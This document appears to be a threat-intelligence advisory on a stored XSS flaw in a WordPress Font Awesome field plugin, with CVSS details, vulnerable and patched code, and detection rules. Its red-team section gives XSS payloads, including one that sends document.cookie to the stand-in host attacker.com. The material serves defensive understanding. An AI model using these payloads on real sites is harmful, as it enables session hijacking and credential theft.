CVE-2025-14983

Executive Summary

CVE-2025-14983 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the Advanced Custom Fields: Font Awesome Field plugin for WordPress, up to and including version 5.0.1. The vulnerability arises from insufficient input sanitization and output escaping in the plugin's handling of Font Awesome icon fields. An authenticated attacker with Contributor-level access or higher can inject arbitrary web scripts (JavaScript, HTML) into the plugin's fields. When a victim (such as an administrator or site visitor) views the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is specific to the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The plugin is widely used by developers to add Font Awesome icon selection to custom fields, making this a high-impact issue for sites that allow multiple user roles to edit content.

Supply Chain & Package Security

This is a WordPress plugin vulnerability, not an NPM, PyPI, Go, or Ruby package. The plugin is distributed via the WordPress plugin repository and is not part of a standard software supply chain pipeline. However, organizations using this plugin should treat it as a critical supply chain risk, as the plugin's code is directly executed within the WordPress environment. No official patch or update has been released at the time of this report.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – The attack is carried out over the network.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – Attacker needs Contributor-level access.
• User Interaction (UI): Required – The victim must view the compromised page.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the potential for privilege escalation (e.g., stealing an admin session) makes this a serious concern for multi-user WordPress sites.

Deep Dive & Mechanics

The vulnerability exists in the advanced-custom-fields-font-awesome plugin, specifically in how it handles the font-awesome field type. The plugin allows users to select a Font Awesome icon via a dropdown or text input. The selected icon value is stored in the WordPress post meta table.

Root Cause: The plugin fails to sanitize the user input when saving the field and fails to escape the output when rendering the icon on the frontend or in the admin area. An attacker with Contributor-level access can inject a malicious payload (e.g., <script>alert('XSS')</script>) into the icon field. When the field is displayed (e.g., in a post, page, or widget), the payload executes in the context of the victim's browser.

Attack Flow:

1. Attacker logs in with Contributor-level credentials.
2. Attacker creates or edits a post/page and adds a Font Awesome Field.
3. Attacker enters a malicious payload like <img src=x onerror=alert(document.cookie)> instead of a valid icon class.
4. The payload is stored in the database without sanitization.
5. An administrator or visitor views the post/page.
6. The payload executes, potentially stealing cookies, redirecting the user, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no official patch is available, the following comparison is based on the vulnerable code pattern and a hypothetical fix.

Vulnerable Code (version 5.0.1):

// In acf-font-awesome.php or similar
function render_field($field) {
    $value = $field['value'];
    // No sanitization or escaping
    echo '<i class="fa ' . $value . '"></i>';
}

Patched Code (Hypothetical):

function render_field($field) {
    $value = $field['value'];
    // Sanitize and escape output
    $sanitized_value = sanitize_text_field($value);
    echo '<i class="fa ' . esc_attr($sanitized_value) . '"></i>';
}

The patched version uses sanitize_text_field() to strip malicious tags and esc_attr() to escape the output for safe HTML attribute rendering.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with the Advanced Custom Fields: Font Awesome Field plugin (<= 5.0.1) installed and activated.
• A user account with Contributor-level access or higher.

Exploitation Steps:

1. Log in to WordPress as a Contributor.
2. Navigate to Posts > Add New.
3. Add a Font Awesome Field (if not already present in the field group).
4. In the field value, enter the following payload:

   <img src=x onerror=alert(document.cookie)>
   

5. Publish or save the post.
6. When an administrator or any user views the post, the JavaScript executes.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual field values in the wp_postmeta table, especially those containing <script>, <img onerror>, or other HTML/JavaScript constructs.
• Use Web Application Firewall (WAF) rules to block common XSS payloads in POST requests to wp-admin/post.php or wp-admin/admin-ajax.php.

Hardening:

• Restrict Contributor-level access to only trusted users.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Use a WordPress security plugin (e.g., Wordfence) to detect and block malicious input.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/advanced-custom-fields-font-awesome/acf-font-awesome.php (or similar)
• Database Entry: wp_postmeta rows with meta_key containing font-awesome and meta_value containing HTML/JavaScript payloads.
• Network Traffic: Outbound requests to attacker-controlled domains from the WordPress admin or frontend.
• Logs: WordPress debug logs showing unexpected PHP errors related to the plugin.

Detection Engineering

YARA Rule

rule Detect_CVE_2025_14983_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting Advanced Custom Fields: Font Awesome Field"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14983"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<img[^>]+onerror\s*=/is
        $xss3 = /<svg[^>]+onload\s*=/is
        $xss4 = /javascript\s*:/is
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Stored XSS via Advanced Custom Fields Font Awesome Field
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress post meta for Font Awesome Field
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        meta_key|contains: 'font-awesome'
        meta_value|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in custom fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-14983 Stored XSS Payload in WordPress Font Awesome Field"; flow:to_server,established; content:"POST"; http_method; content:"wp-admin/post.php"; http_uri; content:"font-awesome"; http_client_body; pcre:"/(<script|<img[^>]+onerror|<svg[^>]+onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until an official patch is released.
2. Audit all posts and pages for malicious payloads in Font Awesome fields. Use the Sigma rule above to scan the database.
3. Change all user passwords if any admin session was compromised.

Long-term Fix:

• Monitor the plugin's official repository for a patched version (>= 5.0.2).
• Apply the hypothetical patch shown in the "Vulnerable vs. Patched Code" section if you have development resources.
• Implement a Web Application Firewall (WAF) with XSS rules.

Workaround:

• Restrict Contributor-level access to only trusted users.
• Use a WordPress security plugin to enforce input sanitization on custom fields.

Valters IT
Cyber Threat Intelligence Division
Report generated for CVE-2025-14983